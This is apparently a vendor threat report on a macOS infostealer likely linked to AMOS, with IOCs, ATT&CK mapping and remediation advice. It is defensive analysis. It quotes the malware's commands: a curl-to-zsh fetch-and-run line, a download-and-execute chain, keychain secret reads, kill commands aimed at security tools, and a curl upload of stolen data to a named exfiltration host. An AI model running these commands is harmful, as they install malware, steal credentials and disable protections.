Threat reportMalwareTL-2026-4901
macOS Stealer (probable AMOS Stealer relation) caught in the wild - obfuscated AppleScript, fake credential dialogs, LaunchAgent persistence
macOS Stealer (probable AMOS Stealer relation) caught in the (TL-2026-4901) is a high-severity malware campaign, first published 2026-10-31. It has no confirmed attribution, affects Apple macOS, maps to 15 MITRE ATT&CK techniques (T1005, T1027, T1036.005), and is covered by 9 detection rules and 14 indicators of compromise.
- Severity
- HIGHAssessed severity
- CVEs
- 0None referenced
- Techniques
- 15MITRE ATT&CK
- Actors
- 0Not attributed
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 14Indicators of compromise
Key facts for TL-2026-4901
- Threat ID
- TL-2026-4901
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- Last reviewed
- Attribution confidence
- LOW
- Motivation
- FINANCIAL
- Target sectors
- cryptocurrency, finance, technology, consumer
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 14
Malware and tooling in macOS Stealer (probable AMOS Stealer relation) caught in the
Malware and tooling: AMOS, phantom
How macOS Stealer (probable AMOS Stealer relation) caught in the works
Objective-See (Pablo Redondo Castro, 2026-04-01) analyzed a macOS infostealer found in the wild that is probably related to Atomic macOS Stealer (AMOS). It runs heavily obfuscated AppleScript, harvests the login password through a fake system dialog, targets 256 crypto-wallet browser extension IDs, browser data, Apple Notes and documents, kills security tools including Objective-See products, and persists via a LaunchAgent.
The sample reached the analyst on a computer delivered for analysis; the original delivery domain had already been taken down, so the initial lure that caused the victim to run the command is not documented in the sources. The first stage is a 'curl + base64 decode + zsh' one-liner: curl -LsfSk $(echo '<base64>' | base64 -D) | zsh. The base64 string decodes to https://rvdownloads.com/curl/9e64e3b1e0547a3195541f838099fa002cf75cbc125d3bb90cd9649f8e85c602. A later stage runs 'curl -o /tmp/helper rvdownloads.com/frozenfix/update; chmod +x /tmp/helper; /tmp/helper'. The helper executes two different AppleScripts.
The AppleScript is heavily obfuscated: more than 400 encoded variables (gmeaaapd0 through gmeaaapd434) are turned into readable strings by three arithmetic decoder functions (ssooouzowk() subtraction, uyvhofylsr() addition, ljmhoouy() subtraction with offset), for example 258 - 143 = 115 = 's'. Before stealing, the malware checks for virtual machines and analysis environments (QEMU, VMware, KVM indicators and hardcoded Mac serial numbers, via system profiling). The serial-number check matches an AMOS methodology previously documented by Trend Micro.
Credential theft uses a fake system dialog ('Application wants to install helper... Required Application Helper. Please enter device password to continue.'). The entered password is validated against the keychain and stored in ~/.pwd; ~/.username and ~/.marker are also created. The script reads browser secrets with commands such as 'security find-generic-password -ga "Chrome" -w'. Targets are Chrome, Brave, Edge, Opera and Firefox (passwords, cookies, autofill), 256 hardcoded cryptocurrency wallet extension IDs (including MetaMask, Phantom, Coinbase Wallet, Binance Wallet, OKX Wallet), the Apple Notes database and attachments under ~/Library/Group Containers/group.com.apple.notes/, and Desktop/Documents files with extensions .txt, .pdf, .doc, .docx, .xls, .xlsx, .key, .pages, .numbers (30MB maximum).
Before collection the malware kills security tooling: killall -9 "Little Snitch", killall -9 "BlockBlock" and launchctl unload ~/Library/LaunchAgents/com.objective-see.lulu.plist. Data is staged in /tmp (including /tmp/update_[0-9]+/), compressed to /tmp/archive.tar.gz and uploaded with curl -X POST -F 'file=@/tmp/archive.tar.gz' https://laislivon.com/upload. Persistence is a LaunchAgent at ~/Library/LaunchAgents/com.apple.mdworker.plist (labels com.apple.systemupdate and com.apple.mdworker reported) with RunAtLoad and KeepAlive set to true, embedding the entire obfuscated script inline so the chain re-runs at every login.
Attribution: the source and the hunt rationale describe the link to AMOS as probable, not confirmed. The basis is infrastructure and tradecraft overlap: Squarespace-hosted domains used as command source were previously seen in AMOS campaigns, laislivon.com is linked to earlier AMOS operations, and the VM serial-check approach matches prior AMOS analysis. AMOS is a commercial stealer sold on Telegram (Sophos: price rose from $1,000 to $3,000 per month between May 2023 and May 2024), so no specific actor is identified. No CVE or CVSS is associated; severity is an analyst judgment.
MITRE ATT&CK techniques used in TL-2026-4901
Collection
T1005 Data from Local System; T1560.001 Archive via Utility
Defense Evasion
T1027 Obfuscated Files or Information; T1036.005 Match Legitimate Resource Name or Location; T1140 Deobfuscate/Decode Files or Information; T1497.001 System Checks
Credential Access
T1056.002 GUI Input Capture; T1539 Steal Web Session Cookie; T1555.001 Keychain; T1555.003 Credentials from Web Browsers
Execution
T1059.002 AppleScript; T1059.004 Unix Shell
Discovery
T1082 System Information Discovery
Persistence
defense-impairment
Affected products and versions in macOS Stealer (probable AMOS Stealer relation) caught in the
- Apple — macOS
Vulnerable versions: Not version specific - user-executed malware, no vulnerability exploited
Remediation for macOS Stealer (probable AMOS Stealer relation) caught in the
Immediate actions
- Block rvdownloads.com, laislivon.com and mac-force.squarespace.com at DNS/proxy and hunt historical logs for connections to them
- Hunt macOS endpoints for ~/Library/LaunchAgents/com.apple.mdworker.plist, ~/.pwd, ~/.username, ~/.marker, /tmp/helper and /tmp/archive.tar.gz
- On confirmed infection, rotate the macOS account password, all browser-saved credentials, and session cookies; move cryptocurrency wallet assets to new seeds/wallets from a clean device
- Alert on 'curl ... | zsh' and 'base64 -D | zsh' process chains and on osascript spawning curl
Workarounds
- Restrict user-writable LaunchAgent directories via MDM where feasible and alert on new LaunchAgents using com.apple.* labels that are not Apple-signed
- Do not enter the device password into unexpected dialogs; legitimate installers do not ask for it through osascript prompts
Longer-term hardening
- Deploy EDR with macOS behavioral coverage for osascript, LaunchAgent creation and security-tool termination
- Train users not to paste or run terminal commands from web pages, messages or fake installers
- Monitor for unexpected unloading or termination of endpoint security tools (Little Snitch, BlockBlock, LuLu)
Timeline of macOS Stealer (probable AMOS Stealer relation) caught in the
- Atomic macOS Stealer (AMOS) first reported (April 2023, per Sophos X-Ops; exact day not stated, first of month used as placeholder)
- AMOS sold on Telegram for about $1,000 per month (May 2023, per Sophos; day approximate)
- AMOS subscription price had risen to about $3,000 per month (May 2024, per Sophos; day approximate)
- Pablo Redondo Castro analyzes the stealer from a computer delivered for analysis; the original delivery domain had already been taken down, and the analysis is posted on the author's blog
- Objective-See publishes 'Catching macOS Stealers in the Wild' (blog 0x88) with IOCs: rvdownloads.com, laislivon.com, mac-force.squarespace.com and rvdownloads.com/frozenfix/update
- BeaconBeagle config search for laislivon.com returned no C2 configuration matches
Sources cited for macOS Stealer (probable AMOS Stealer relation) caught in the
- Catching macOS Stealers in the Wild ...or how I became threat hunter by accident (Objective-See)
- Catching macOS Stealers in the Wild (cmd + R(esearch), author's own blog)
- MacOS Stealers, Observed: What Defenders Should Watch For (SOC Prime)
- Atomic macOS Stealer leads sensitive data theft on macOS (Sophos X-Ops)
- BeaconBeagle C2 config search for laislivon.com (no matches at time of query)
Detection coverage for TL-2026-4901
As of 2026-10-31, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-4901 across Splunk SPL, Microsoft KQL and Sigma, covering 14 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.